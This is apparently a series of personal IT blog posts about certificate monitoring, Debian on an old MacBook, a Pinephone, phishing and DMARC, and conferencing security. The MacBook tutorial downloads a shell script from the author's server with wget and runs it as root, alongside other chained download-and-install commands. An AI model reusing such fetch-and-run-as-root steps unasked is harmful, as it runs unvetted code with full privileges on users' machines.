Why i am showing the picture? The two small, black, round balls on the left and in the middle on the monitors are webcams. Videotelephony was an established daily driver at this time. We often kept them continuously running in the background for spontaneous “I’m on it now” or “please log off the server, I’m restarting the service” coordination. Teammates could always come in to say “hello” or having smalltalk while drinking coffee and eating cookies.

Please understand my pain and inner tortures straight out of hell each time when witnessing today’s level of Digitisation and digital inability displayed in videoconferences.

See you,
Tomas Jakobs

Xojo User Meeting 05.02.2020, 1800 LT

Tomas Jakobs — Thu, 28 Jan 2021 12:31:00 +0100

WebinarXOJOMeeting

The next XOJO User Meeting (in german) is scheduled on Friday, 5th Feb. 2021 at 1800 LT.

Topics

Let’s kickoff and plan 2021

Of course everything as rough orientation. Anybody with an interesting project or topic is invited to join and give a presentation. Duration of the Meeting: approx 45-60 Min followed by smalltalk with open end, Chatham House Rule applies.

Link to Conference-room: https://meet.jakobs.systems/b/tom-kks-v5k-xka

~~The passwort will be published here and in XOJO Forum couple of hours short of the Meeting.~~

~~Passwort is 207758~~

You are welcome. See you!

Quote of the Day

Tomas Jakobs — Tue, 19 Jan 2021 13:09:00 +0100

Today I’ve found this quote in Nitter (Twitter-Proxy):

The electric light did not come from the continuous improvement of candles.

To the unkown author: You nailed it!

Let's talk!

Tomas Jakobs — Wed, 13 Jan 2021 22:15:00 +0100

HumourBlog

I am in urgend need to talk with my Editor.
At the slightest mistake she snarls at me from the side.
It’s not possible to work under these conditions ;-)

Cert Monitoring

Tomas Jakobs — Tue, 12 Jan 2021 22:20:00 +0100

Everyone knows the alert when visiting a website with expired certificates. At least once a month I stumble into one or I receive tickets with questions asking what to do. “Nothing” is my reply in most cases. “The mistake is on the other side”. On this occasion, my very special appreciation to the owners and/or administrators of such sites for the extra work required.

The obvious solution to avoid such embarrassments: A software or service with periodic checking and notifications. Sounds obvious, but unfortunately doesn’t always work.

Here is an overview of recent years with failures to renew certificates properly:

2020/06 Sectigo Root-Cert¹
2020/02 Microsoft Teams²
2019/10 Apple App-Store³
2019/08 Twitter⁴
2019/05 Mozilla Add-Ons⁵
2018/04 Microsoft Azure⁶

And these are just examples of big techs. The many smaller websites remain below the radar. So why is this going so badly wrong?

Non-renewed certificates are no small issues and don’t just affect websites. Many apps on mobile devices stop working when their JSON counterparts⁷ are no longer accessible. And frankly, most users click away the warnings mechanically, without knowing what they have clicked onto. The unpleasant surprise might come a little bit later, when among the many away-clicked warnings a malware asked for elevated rights. Let’s look at some figures illustrating how a company is affected by non-renewed certs.

The TUI Group, which is operating worldwide, generates up to 20,000 video conferences and 250,000 chat messages in a workday⁸. According to the data, the Microsoft Teams outage on February, 4th 2020 between 3pm and 6pm hampered 7,500 conferences and, at its mildest, disrupted timelines. At its worst, important decisions could not be made and deadlines were not met. Unfortunately a figure for the number of angry business partners, suppliers or customers does not exist.

Launched in 2017⁹, the MS Teams certificate is renewed annually. Two successful renewals so far have been followed by a missed one. Even without a degree in statistics, that’s a miserable quota because a certificate renewal doesn’t just drop unexpectedly out of the blue.

If the success of any given measure is close to the average distribution¹⁰, you really should abandon it. Working by chances or a bunch of monkeys, either work as reliably as your given measure.

Why renewals fail?

During my research I was unfortunately unable to find a single source that could tell more about the contributing factors. So without claiming completeness or accuracy, and based on my personal experience, I have drafted this list:

a) Leadership failure: Nobody feels responsible.
b) Organisational failure: Lack of processes and overview of certs within an organisation.
c) Sloppiness due to existing monitoring.
d) Negligence due to lack of monitoring. Blind trust in auto-renewal processes.
e) Deliberate action, sabotage

The striking common characteristic: All of them are non-technical factors.

This sounds rather discouraging, but it is not entirely hopeless. As a secret weapon I have something I have been using since the 90ies: A source code version

Even the best software in the world cannot turn bad leadership or mis-mmanagement for the better.

Git + Gitea + Monit

Last year I featured Prometheus¹¹ and Grafana¹² on this blog as tools within my monitoring stack. Today, Monit¹³ follows which I use for regular checks of websites, APIs and certificates.

Why exactly Monit? Firstly, queries and rules can be spread wonderfully over different configuration files. Secondly, it is very powerful. And thirdly, it is very simple in the formal description of rules thanks to a BASIC-like¹⁴ syntax. For instance, this is the rule for monitoring the certificate of this blog:

check host blog.jakobs.systems with address blog.jakobs.systems
if failed
port 443
protocol https
certificate valid > 5 days
then alert

The magic lies in the interaction of Monit with git¹⁵ and Gitea¹⁶. All Monit instances obtain their configuration automatically from a git repository¹⁷. Management and scaling are done via the web interfaces of Gitea and do not require any programming knowledge. Quite convienient: The documentation is included in the repository as a byproduct because I write it there in Markdown¹⁸.

A place has been found for all the information on certificates in an organisation. Changes do not remain in the hands of a few. Every web developer can for instance add new hosts or make changes to existing ones. It’s hardly possible to break anything, because on one hand. every change can be rolled back. On the other hand, serious mistakes are immediately found in the mutual peer review process of pull requests¹⁹. Should a defective configuration find its way to any Monit instance, Monit itself immediately will notify me and I still can intervene.

The combination of Monit, Git and Gitea allows a living, scalable system with a continuous improvement process.

Resilience

Without a few words on resilience²⁰ it is impossible to continue. Unfortunately there are always networks I encounter where the entire IT infrastructure is monitored from a single internal host. Well you might do that though you create unnecessary and self-inflicted problems. Combined with the typical “single points of failure”²¹ represented by mail servers, firewalls or switches, measures should be taken immediately.

Power grids are successfully operated with the (n-1)rule²². This means that for every element in a system there must be at least one redundant spare element. Above-ground power lines for example, have at least two control systems, each of which is operated with only 50% load. If one control system fails, the remaining one can quickly take over 100% of the load.

This rule also improves resilience in IT. The screenshot shows my three monitoring instances distributed across Germany (data centre, office, home office) at different ISPs (Anexia backbone, Vodafone, Telekom) to keep an eye not only on my own hosts and certificates but also on those of my customers.

There are reasons why monitoring is not always the same.

I would be happy to help by providing my know-how.
Sustainable, transparent, fair and with open source.

Stay healthy,
Tomas Jakobs

Hackback the Malware

Tomas Jakobs — Mon, 04 Jan 2021 11:41:00 +0100

SecurityHackingAuditHumour

Yesterday and today I’ve noticed the author malvuln¹. He has uncovered vulnerabilities for 14 malware and backdoor applications. Yes, you are correct: He has found vulnerabilities in malware and backdoors, practically with proof-of-concepts to reproduce. No need to emphasise, that’s all Windows malware we’re talking about.

There is no indication whether he contacted the respective vendors of the affected “software” prior to his full disclosure. Also missing are CVE² reference numbers and CVSS³ Scores. But with a chuckle we just look away.

I think the biggest humiliation would be to find a way to a victim via a vulnerability in a malware, kind of superlative of a hackback⁴.

Looking further at the published vulnerabilities I can discover another purpose besides self-promotion and learning effect. An attribution⁵ is easier to make if habits or even individual developers become traceable. Malware authors too are just people in a certain context, with pre-cursors and mistakes. Particularly amusing are such habits, which at the same time also expose shortcomings in basic concepts, but still lead to the “right” results in the end of the day.

But beware! Someone could also use these characteristics to lay false leads. A nice little game with unexpected twists and turns.

Enjoy your start in the new week,
Tomas Jakobs

Stuff to read for 2021

Tomas Jakobs — Fri, 01 Jan 2021 13:00:00 +0100

The new year 2021 starts off quietly with original English Breakfast Tea and a stack of new books. I have long been looking forward to the 3rd edition of the book by Oliver Liebel, which was published kinda fortnite before Christmas. My intentions are getting more familier with orchestration and automation of containers. The second Ansible book tells the same story. The last book within the stack is a kind of cookbook. Here I’m particularly interested in the sections on creating and displaying graphs, weighting interconnections, Jarnik- and Dijkstra-Algorithms and how to program everything by yourself in your own framework without any third-party components. Plenty of material for the next few weeks, isn’t it?

Wherever you are, make sure you are comfortably mucking in in the lockdown.
This one will go considerably beyond the 10th of January 2021.

Revive a Macbook Pro with Debian - Part II

Tomas Jakobs — Fri, 01 Jan 2021 11:40:00 +0100

Part II - Please Refuel and some new Bumpers

Just in time for the new year, the revived Apple Macbook Pro with Debian from the first part is back on my desk. It served well in December. Now, it’s time for a pit-stop: Would you refuel and change bumpers, please?

Battery Replacement after 12 years

I was way off the mark with the expected endurance: I wrote something about 1.5 hours last month. Well this may have been 7 years ago when I last worked with it. Today the battery doesn’t last for even half an hour. Over Christmas at home on lockdown this is not a problem, though it is a nuisance as it was carefully but clearly pointed towards me.

After 12 years, a battery may finally be replaced. It’s a good timing because I already had this on schedule and ordered a replacement between Christmas and New Year’s Eve.

A look inside the Mac clearly shows: A good design was practised here. This can be seen in small details like the extra slope in the middle of the battery for a better lifting out of the aluminium case. All components, RAM, SSD, DVD, the board itself and of course the battery are directly accessible and replaceable despite the compact design. The contrast to the mid-2014 Macbook Pro Retina, bought 5 years later, could hardly be greater.¹

After replacing the battery it is recommended to reset the SMC². To do this, the Macbook must be connected to the charging cable and completely switched off. Pressing the “Cmd” + “Select” + and “Shift” keys and the power button at the same time starts the reset procedure. The white light on the front will indicate this. When the Mac reboots you may release the pressed keyboard combo. In GNOME the Battery indicator showed me 5:49h of remaining endurance.

Rubber for Better Grip

The next item on my to-do list were the four rubber bumpers underneath, most of them already crumbled. With a new set of bumpers, bought at the chinese retail shop of your choice nothing wobbles, slips or even scratches on a sensitive surface anymore. I’ve looked for specific soft onces, not the ones made of hard plastic.

Further Optimization

To better monitor the status of the transplanted power source I’ve extended the installation script³ from the first blog part with the gnome-power-manager package. The laptop-mode-tools were also added. I only skimmed through the numerous settings and optimizations⁴ and was satisfied leaving most of them on “auto”. Afterwards the machine ran more quietly during the short time I was in charge of it. The fan revved up less quickly.

Much more annoying was the constant search and mistyping of the left Ctrl-Key. My fingers did remember and internalized the cmd-Key of a macOS User. The power of habit tough the cmd Key is quite larger and better to hit than the small Ctrl key. Salvation may be found in the Gnome Tweak-Tool (App Optimizations) under “Keyboard/Mouse”, “Additional mapping options”, “Ctrl key position” and the option “Swap left Win key and left Ctrl key”.

In the Gnome desktop, I have also assigned the Exposé or Mission Control key⁵ to the “Activities Menu”. If you prefer to have access to the F-keys without pressing the Fn-Key then you may find further instructions in the Debian Wiki⁶.

That’s it! While writing these lines, the book is gone again. How strange, I’ve learned to value the 12-year-old device once again after abandoned in my electronic garbage.

However, happy new Year and stay healthy!
Tomas Jakobs

Remote Chaos 2020

Tomas Jakobs — Wed, 30 Dec 2020 23:20:00 +0100

We all knew the Chaos Computer Club’s congress would not happen this year. The big challenge is to find a way to organize something comparable in a more, well, remote and social distanced fashion.

In the past weeks I have contributed my two cents. From the early planning, the pre-meetings in Jitsi and Mumble and finally, on location at the Academy for Theatre and Digitality in the Stadttheater Dortmund with professional studio and broadcasting equipment around.

Though we just were only 4-5 people effectively in a huge hall full of displays and technology, we felt a glimpse of congress atmosphere on the set. The following picture shows my mobile workplace at the Digital Academy.

Mixing, editing and broadcasting of the presentation “The Mission of the MV Louise Michel”. Technically quite interesting: The herald came from somewhere in Germany, the crew was on the ship in a Spanish Mediterranean port, the meeting was held in Jitsi, live-mixed and edited with OBS in Dortmund, streamed worldwide by the CCC, everything done with open-source software.

Where I usually display my Zammad ticketing system at my home office, I watched the streams remotely joined by some IT nerd friends.

Despite initial problems, occasional interruptions and even a fully-blown DDOS attack against the CCC DNS servers, everything worked out pretty well when considering there was no preliminary run, a lot of improvisation and little experience with such remote events of this size with so many distributed and decentralised actors and studios.

And even though I chuckled about the gamification in 2D World, one morning I ran into an American by chance and we had an enjoyable, hour-long English spoken conversation in Jitsi.

Nevertheless, I am looking forward to the time when we all can meet again without a mask.

With many new impressions and new experiences, I am heading to 2021.

Stay healthy!
Tomas Jakobs

Auld Lang Syne 2020

Tomas Jakobs — Tue, 22 Dec 2020 19:30:00 +0100

NewsBlogQuote

I would like to wish all my customers, business partners, friends and acquaintances a happy Holiday Season. Please stay healthy! Wherever you are, cosily couch in yourselves and keep the necessary peace of mind during the Corona-Lockdown. May it be like an admin-friend told me recently:

Think positive, stay negative!

I am winding down my blog activities till January and devoting myself to the persons and activities needing me. For the long, dark and hopefully snowy winter evenings there are some books awaiting me aswell together with a tea, milk and honey.

For instance, there is “Rethinking Our World” by Maja Göpel or “The Circle” by Dave Eggers, whose movie adaptation with Emma Watson and Tom Hanks I have already seen, but always wanted to read in addition. There’s also Remote C3 between Christmas and New Year’s Eve.

I would also like to mention my special offers Data Protection and Digital Sovereignty for Associations and my Managed Server Offer until the end of the year.

We’ll take a cup o’kindness yet, for Auld Lang Syne

Yours Tomas Jakobs

Revive a Macbook Pro with Debian - Part I

Tomas Jakobs — Fri, 18 Dec 2020 00:05:56 +0100

Rescue-Ops before Christmas Eve

What is the worst-case scenario right before Christmas during a Corona Lockdown? Let’s leave zombie apocalypses, too little toilet paper or slow internet connections aside for a moment. Right! A broken laptop.

Exactly such a call for help came to me this afternoon from my own circle of friends. I was asked if I had a spare notebook available shortly. Coincidentally, yes. An old mid-2009 Macbook Pro 13" has been hanging around in the corner for years. Too valuable to be thrown away, technically perfectly okay, but unfortunately no longer supported by Apple. There she is again, the planned obsolescence¹.

Where do we come from

The technical specifications are quite solid and it doesn’t need to hide behind current consumer devices:

8 GB DDR3 RAM
Nvidia 9400M GT graphics
1 TB SSD
webcam, SD card reader and 3.5 mm headphone/mic input
WLAN + Ethernet without adapter
Illuminated keyboard
64Bit Intel Core2 CPU with 2.26 Ghz with 2 cores

Of course the CPU is clearly the weakest spot in the list. However, it is still sufficient for office tasks, for surfing the internet or for enjoyable DVD evenings on the couch in lockdown conditions. Besides details such as the discreet battery power indicator and the white, glowing, stand-by light, the internal slot-in “SuperDrive” DVD is worth mentioning. In stark contrast to current Macbooks, the 58 Wh battery is not glued down in the enclosure and can be easily replaced². And with just 40 Euros the replacement battery is half the price of the one that recently kept me busy³. Well as soon as I have my unit back I will replace the battery there too. It currently lasts about 1.5 hours, which is no comparison to the 6-7 hours it once lasted in its first life.

Of course, macOS is no longer an option. The last system supported by Apple is macOS 10.11 “El Capitan”⁴, last updated in 2018. No one should be on internet with this anymore. Of course it will be a current Debian Linux “Buster”⁵ with a modern GNOME3 interface⁶.

The requirements from the users’ perspective:

easy-to-use standard desktop without clutter
playback of DVDs, music and video files
up-to-date Libre Office
access to SMB shares in the local network or remotely via openVPN
current Mozilla Firefox with uBlock-Origin

This is the guideline I am using for selecting packages and software. The aim is to keep the Linux system as simple and consistent as possible. It is precisely the clutter of many applications for one purpose that tends to scare off the typical Windows or Mac user. I hope that the person considered with this replacement device will experience Linux in a positive fasion. “If you can operate a smartphone, you can manage a Linux desktop” is what I am always saying.

Since I have not really installed a Linux on a Mac before I do expect some unrecognised hardware. So I’ve chosen the “unofficial” Debian non-free firmware⁷ as installation image and created an EFI-bootable USB stick out of the 4 GB amd64 DVD-ISO⁸ in /current. Well this might be not be pure Debians’ philosophy, but it works and represents an acceptable compromise between the stability and longevity of a Debian and the support of a wide range of hardware.

Before I forget to mention a short disclaimer: The Mac partition will be deleted in the course of this tutorial. I assume that there is no important data left on the device.

Installation Debian Buster

The boot Menu on a Mac is accessed by simultaneously pressing the Select-Key and Power-On switch. After the start-up chime please select “EFI boot” from the USB drive. The familiar Debian boot menu then appears.

I’ve tried both, the graphical and the text-oriented installer and recommend the second. In the graphical one the touchpad is not recognised and so you have to use tab and cursor keys to navigate through the options.

An Ethernet cable should be connected during the installation process due to the fact that the Broadcom WLAN module is not recognised. I could have supplied the driver in the form of another USB stick but since I have a special installation sequence anyway, I decided to install everything afterwards.

Since we don’t have a server here and a sufficiently dimensioned SSD I’ve used the assisted partition on one disk.

Much more important is a clutter-free Debian. Therefore do not select any Desktop Enviroment in the selection of features. The only checkmark should be set on “Standard System Utilities” when prompted to.

After the installation, the Mac boots into a new operating system. At first, deliberately into the console without any graphical user interface. The process continues with root. All subsequent commands can either be entered or loaded as a script from my server with wget (Click here for the direct Link):

# wget https://blog.jakobs.systems/img/macbook-linux.sh

After downloading and…

# chmod +x macbook-linux.sh

…the script can be started. But first let’s see what it does:

GNOME without Clutter

With the following line we get a minimal Gnome with the most important standard applications:

# apt install file-roller bijiben gthumb seahorse gnome-core gnome-clocks gnome-calendar gnome-calculator gnome-characters gnome-sound-recorder gnome-screenshot gnome-dictionary flatpak gnome-software-plugin-flatpak gnome-todo gnome-maps network-manager-openvpn-gnome system-config-printer ffmpeg cups printer-driver-all simple-scan foomatic-db gnupg hunspell-de-de vlc firefox-esr-l10n-de webext-ublock-origin cifs-utils gnome-power-manager laptop-mode-tools -y

Broadcom Wifi Driver

The built-in wifi module in my Mid-2009 MacbookPro 13" requires a proprietary Broadcom B43 driver. We download this together with the package fwcutter via wget straight from the Debian server. If you have a different Mac, please check first which module Apple has installed. Macbook Pro devices before the year 2009 for instance use an Atheros chipset⁹.

# wget http://ftp.de.debian.org/debian/pool/contrib/b/b43-fwcutter/firmware-b43-installer_019-4+deb10u1_all.deb && wget http://ftp.de.debian.org/debian/pool/contrib/b/b43-fwcutter/b43-fwcutter_019-4+deb10u1_amd64.deb && dpkg -i *.deb

Current Libreoffice

The Debian software repositories always lag behind the current version numbers of the applications. This is due to the rather conservative and stability-oriented selection which I appreciate. Nevertheless, I would like to use the latest release of certain desktop apps. That’s why we don’t get Libreoffice from the standard repositiory but instead via flatpak:

# flatpak remote-add flathub https://dl.flathub.org/repo/flathub.flatpakrepo && flatpak install flathub org.libreoffice.LibreOffice -y

Wrapping up

Last but not least, we remove unneeded programme packages such as the Chromium browser, which should not be used from the Debian Default Repositories. End users are also unlikely to come into contact with vim. A cleaned interfaces file should not be missing in order to get the wifi work:

# apt purge chromium xterm vim -y && apt autoremove -y && mv /etc/network/interfaces /etc/network/interfaces.backup && echo "source /etc/network/interfaces.d/*" >> /etc/network/interfaces && echo "auto lo" >> /etc/network/interfaces && echo "iface lo inet loopback" >> /etc/network/interfaces

A final reboot follows, this time into the graphical user interface and the user specified during the basic installation. After logging in, you can now customize your GNOME Desktop, connect to a Nextcloud, add printers and SMB shares or import an openVPN profile to connect to a remote network.

As far as I am concerned, all hardware components are recognised perfectly. I was able to conduct a BBB video conference call without any problems using the internal iSight webcam and microphone. One thing I find very pleasant about the Apple hardware: The buttons for dimming the display and the keyboard backlight seems to be controlled directly via the ROM Firmware independently of the operating system ontop. In any case, the overlay is exactly the same as on a macOS.

The 11-year-old Macbook Pro is awakening to a second life. Surely it will last a few more years. I wonder why I didn’t find the time to install a Linux on it until today.

Stay Healthy and keep distance,
Tomas Jakobs

Xojo User Meeting 11.12.2020, 1800 LT

Tomas Jakobs — Fri, 04 Dec 2020 08:05:00 +0100

WebinarXOJOMeeting

Last XOJO User Meeting (in german) this year is scheduled on upcoming Friday, 11th 2020 at 1800 LT.

Topics

New Xojo Version since out last Meeting

Apple Silicon and Xojo

Lookback and Outlook for the next year

Link to Conference-room: https://meet.jakobs.systems/b/tom-kks-v5k-xka

~~The passwort will be published here and in XOJO Forum couple of hours short of the Meeting.~~

Passwort: 864186

You are welcome. and don’t forget: Don’t eat yellow snow…

See you!

Webinar: Security of Conferencing Software

Tomas Jakobs — Mon, 30 Nov 2020 12:27:10 +0100

WebinarDiginetSWFSecurityConferencing Software

Tomorrow I will give a short presentation for the DigiNet Südwestfalen

December, 1st 2020, 08:30 am on my Conferencing-Server
Topic: “Security of Conferencing Software”

giving Stakeholders and Decision-Makers Orientation for risk-assesment. This is a non-public event. Please register via Sonja Pfaff on the DiginetSWF Website.

About DigiNet Südwestfalen:

In early 2019, the Transferverbund Südwestfalen started to track down service providers and networks active in the field of digitalization in South Westphalia as part of the NRW.Innovationspartner funding project and to connect them into an open network. The aim is to get to know each other, but also to increase visibility in the region so that companies can find the right solution partner more quickly or young talents can find their suitable employer.

About Tomas Jakobs:

Born in 1975 in Plana, Czech Republic he grew up in the Siegerland and studied at the University of Siegen. During his course of studies in 1998 he started his self-employment with individual software development and consulting. Until 2004 he was active with a lectureship at the bbz professional training centre of the Chambers of Industry and Commerce Siegen and the TÜV Academy Rhineland. As specialist in digital called when standard solutions and concepts fail. Profound project experience for more than two decades with references ranging from the German Second Television to well-known corporations and medium-sized companies to small shops and GP’s offices. In his work, he has migrated companies from closed, proprietary to open and free technologies, helping them to boost competitiveness while reducing IT spending.

Phishing and Spam

Tomas Jakobs — Fri, 27 Nov 2020 17:40:00 +0100

Within just a few days, the German EU Representation warns people about phishing emails.¹ This is the 4th warning regarding data theft since July 2020² by Reinhard Hönighaus, press spokesman and head of the press and media office. Obviously there is an urgent need for action.

In his current warning dated 26.11.2020, only two days after the previous one, he identifies T-Online users as targeted by phishing mails and also provides the explanation:

Like some other providers, the recipient infrastructure behind @t-online.de does not perform SPF checks.

This is not surprising that mass hosters configure their mail servers laxly. Ultimately, even the digitally inexperienced should be able to receive e-mails in uncharted territory, in “Neuland” we used to say here in Germany.

Sender Policy Framework³ is a security feature and must be configured by mail server operators. However, it is not a miracle cure by itself. Only a combination with further security features standardised in RFCs such as DMARC⁴, MTA-STS⁵, TLS-RPT⁶ or DANE⁷ prevents phishing mails. Looking at the mail server behind the email address of Reinhard Hönighaus, I start to wonder: Who is really the one to blame here?

Let’s just skip the crude construction of the mail cluster of ec.europa.eu, where not hostnames of the same name are used like mail.europa.eu but instead servers like mxa-00244802.gslb.pphosted.com. At first glance there is no obvious connection to Europe. If the DNS wouldn’t tell me any better, I’d consider the host as spam slingshot. In reality it’s the domain of the US company Proofpoint, which sells email security. Well let’s also have both eyes closed regarding the TLS configuration errors the Hardenize scanners see: No Forward Secrecy, TLS 1.0/1.1 and SSL3. At least for some servers identified by the scanner in the EU mailcluster. From the outside it is impossible to tell which one without further tests.

Apropos Scanner: The well-known SSL-Labs online test tool is actively blocked. Transparency is different.

However, the most serious problem is the faulty DMARC policy in the DNS in _dmarc.ec.europa.eu

_dmarc.ec.europa.eu. 900 TXT v=DMARC1; p=none;
rua=mailto:dmarcreports@ec.europa.eu; fo=s; adkim=s; aspf=s; sp=none

Formally and syntactically correct, effectively completely meaningless if not set to “reject”. Every mail server receiving an email with a fake europa.eu sender may recognise it as a phishing email correctly, but because of this DMARC entry it will still forward it.

The misconfiguration on the EU side makes phishing in fact possible.

Reinhard Hönighaus was obviously poorly or not entirely informed by his IT department. At least in a statement of the article sent to him in advance he replies:

My IT colleagues are indeed taking the incident as an opportunity to review our DMARC policy and develop it further if necessary. (…) It was important to me that T-Online customers are warned. I am not blaming anyone, I just note that I am currently receiving calls from T-Online users every minute.

In a joint phone conversation he mentioned a figure of over 9,000 from mostly T-Online users. In the meantime, the T-Online portal is specifically addressing T-Online customers.⁸ This fiasco could have been avoided for the involved ones and for himself with properly configured servers and some expertise. We will see if and how this will be addressed in the future.

But another consideration is still haunting me: Why is it quite normal for the actors to disclose personal data and economic figures for Corona Aid in non encrypted form? Looking at the contact page⁹ of the German EU Representation, I do not see any confidential and encrypted communication channel via PGP or S/MIME email.

Linux Smartphone Project - Part III

Tomas Jakobs — Tue, 24 Nov 2020 23:15:30 +0100

Battery

Today I will report a brief description of the battery and power management of Mobian on a Pinephone.

Reading the battery parameters from the console was already quite special. The usual way with upower was not successful and provided only zero values. Without ACPI the readout only worked with:

# cat /sys/class/power_supply/axp20x-battery/uevent

My first measurements: At idle with active mobile network, BT and WLAN and 50% display brightness the power consumption is about 2.5 to 3W. At 100% display brightness it jumps up to 3.5 to 4W each time without any apps in the background. From the desktop perspective this may not sound bad, but in fact it is.

iPhone vs. Pinephone

To get a hands-on impression of the power management I made up the following challenge between my old Apple iPhone7 (current iOS 14.2) and the Pinephone with Mobian. At…

50% Battery Status
100% Display-Brightness
100% Audio-Volume
all radios turned on
no apps running in the background

…I have taken the time it takes for a device to reach 40%. After exactly 16 minutes the Pinephone broke this limit, while the iPhone still lingered around 47%. The result was expected, but clearly shows how optimisation and a certain product maturity can affect a system.

The WLAN/BT module with its RTL8723CS chip always needs the internal battery - even with external power supply. This is not explained in the very good Wiki¹. But a quick look at the construction plans² revealed the explanation: The module gets its energy directly from the battery, bypassing the X-Power AXP803.³

As I’m replacing the battery of my 6 year old Macbook Pro tomorrow (the blog post on this will follow soon), it reminds me very much of a similar Apple design decision. A Macbook slows down so much when the battery is disconnected that working is hardly possible.

What definitely saves battery power and is a feature for me is the possibility to operate a Pinephone with relatively few connections. Except the connections to my Nextcloud (in the screenshot the host with 130.180…) no further connections to foreign hosts are made. A prerequisite for this is the removal of geoclue if you can dispense with its geolocation services.

That’ s all for today.
Stay healthy!

Tomas Jakobs

Microsoft, again

Tomas Jakobs — Tue, 24 Nov 2020 10:11:00 +0100

What comes after a privacy violation? Of course further violations. I’ve update my list of violations and infringements because of this Heise Article “Anwenderüberwachung durch Microsofts Office-Software”:

Here is the full list (free to copy/use):

The collection of user data in a Windows 10 based corporate network cannot be prevented by proportional resources.¹
With 23,000 to 25,000 data points, a Microsoft Office package collects significantly more metrics than a Windows 10.²
Collecting metrics also includes document content.³
Using mobile devices with O365 or Azure Cloud offerings, Microsoft by Design gets direct access to the mailboxes of local Exchange server instances and stores data (emails, contacts, appointments) unencrypted on its own servers.⁴
Dependence on Microsoft products, also known as lock-in⁵, blocks technological progress and increasingly represents a structural disadvantage.⁶
Microsoft systematically undermines best practice recommendations and EU standards⁷ in procurement and competition law.⁸
Microsoft does not manage to explain on what basis it claims its own interests, including the transfer of data to third parties, as a data processor on behalf of a client.⁹
Microsoft collects users’ work-related habits and provides companies with a detailed, personalized “Productivity Score” for employee monitoring.¹⁰

This new addition of employee monitoring is just a recycled version of an existing feature Microsoft has been using internally for years. It is not very surprising that it has now become a product called “Workplace Analytics”. It is a well-known anti-pattern called “Function Creep”.¹¹

Since in the last few days the news has been circulating that Microsoft allegedly has reached an agreement with data protectionists, I show this legal 5-minute analysis by Max Schrems:¹²

Data protection is not a feature! It is an obligation and a matter of principle. The way Microsoft (and others!) emphasize privacy so much and even try to promote it is quite bizarre. It’s kind of like the way a chef emphasizes that he uses a clean spoon to stir (and not a finger).

No junk, spend your time

Tomas Jakobs — Sun, 22 Nov 2020 12:20:00 +0100

Black Friday is here. And with Christmas ante portas the final countdown with the toughest end-bosses in IT support begins: The own parents, partners or children with their new or old digital devices.

The fundaments are laid in the upcoming days and weeks when stuff with more or less technical debts¹ is bought. Basically at the moment of your purchase it’s already junk and an environmental mess. One example, representative for many others:

German distributor Medion is currently selling its Akoya E15308 notebook with just 4 GB RAM, glued permanently and not expandable. The integrated AMD Radeon Vega shares this RAM and actually works satisfactorily in combination with a dual channel mode. Unfortunately the RAM on this notebook is soldered in single channel mode. This means some complex websites with simultaneous videomeeting session might bring the maximum usable 2 threads and low memory to the limits. I don’t even want to think about an Office App or even a game running in the background. And better don’t want to start off with Windows 10 in S-Mode. These limitations are quite obvious to every techie, except Heise² where the 15.6" IPS display is highlighted as “untypical in its class”. The unacceptable FullHD resolution below 150 dpi, with individual pixels already visible, is not mentioned at all.

Please do not buy IT junk, better spend your precious time with your loved ones.

You can also give presents that make this time together happen. Better Microphones or Cams for instance. But even more better a walk with your grandparents outside. Or how about reading a book personally instead of buying an audio book? This would even work remotely. If you prefer something with close contact: A relaxing massage of the neck at home, in warmth and candlelight instead of just buying a scarf. Or something for nerds again: Switching from Windows to Linux on a shared afternoon with a coffee flat rate and homemade pastry?

Get more inspiration at “Zeit statt Zeugs”.

Stay healthy,
Tomas Jakobs

Ghost Join in WebEx Conferernces

Tomas Jakobs — Thu, 19 Nov 2020 15:50:00 +0100

Due to a vulnerability (CVE-2020-3419), attackers could join Webex meetings without being listed in the participants list. Hidden as a “ghost” from the other participants, attackers could eavesdrop on audio and video content.

This is what Heise writes in his article today.¹

But this is only possible (…) if attackers have access to meetings in the form of shared links and a password.

Sounds quite trivial, but it isn’t. The objectives of confidentiality and integrity are lost when others eavesdrop unnoticed during a job interview for instance. Access data can be collected in unencrypted emails. It is not unusual for permanent meeting rooms to keep the same access data over an extended period of time.

Together with other vulnerabilities in Cisco’s server components this results in a desolate picture. Not all products could be fixed so far. The Cisco Security Advisory provides further assistance.²

Anyway, if US providers are used, no legal basis is not applicable.³ In discussions with particularly confidential content or in projects with NDA or confidentiality clauses involving poenals, this is exactly what can become a risk. I would be pleased to show you more examples in a webinar.⁴ In this blog, I have made various side-blows about Discord⁵ or digitisation projects in medium-sized businesses in general.⁶

I’m glad to help, no matter if in the form of a Managed-Server or in form of own servers within a corporate infrastructure.

I also like to refer to my current promotion till the end of the year.⁷

Just give me a call!

Tomas Jakobs

Linux Smartphone Project - Part II

Tomas Jakobs — Thu, 19 Nov 2020 13:05:30 +0100

Screenshots

What was missing in the first part the day before yesterday, I will catch up today: Screenshots!

This led to the question of how to do this? A hotkey like in iOS (home + on/off switch) is unknown to me on the Pinephone. The classic desktop Linux tools like Gnome Screenshots or Peek are installable but do not work properly. It’s quite banal, they fail due to the fact that I cannot trigger any hotkey on a touch display UI. As a solution I have chosen the workaround via SSH and grim taking screenshots remotely in the background while in the app in the foreground, Waylands makes it possible.

The Lockscreen with a podcast currently playing.

The Phosh-UI. The basic principle is known from the GNOME interface. Note the orange news icon…

…this is my RSS News-Reader in my Nextcloud, created as Web-App out of Gnome Web. The reason why I prefer this in favour of any other RSS reader is my server-side CSP, which effectively blocks every tracking pixel within a feed.

This is the Kings Cross ~~Tube~~ Terminal-App, I could not find in the beginning.

Running Apps are displayed within Phosh in the upper area from where they can be switched on tap or killed with a swipe upward. The basic concept is quite simple. What’s missing: Folders and Folder for the Icons the current Gnome Desktop has.

The Gnome Web-Browser.

And its Firefox counterpart.

Thanks to Nextcloud and its Gnome integration, the Sync with Calendar and Contacts worked.

And despite the fact that the Contacts App is well adapted, you always stumble across such annoying UI glitches. Why can’t I see the phone number here? But these are just the relatively minor ones. It feels like about 80% of the common Gnome Apps are not adapted to small displays at all.

Most disturbing are modal dialogues, which reach left and right from the screen and block the main window.

Important desktop apps like Geary for emails or the Gnome Calendar clearly show that they have not yet been optimised. In fact they are not usable at all due to the too small scaling on the screen and my own incapacity to hit the right buttons and UI elements, in German we used to say to have “Wurstfinger” when trying to use your clumsy sausage fingers to conduct any precision task.

Bottomline

There is more darkness than light, but of all free systems Mobian is currently the most “stable” one, written in big and bold quotation marks. The system is far from being ready or of being suitable as dailydriver.

Stay Heathy,
Tomas Jakobs

Linux Smartphone Project - Part I

Tomas Jakobs — Tue, 17 Nov 2020 16:50:30 +0100

Holy Unboxing

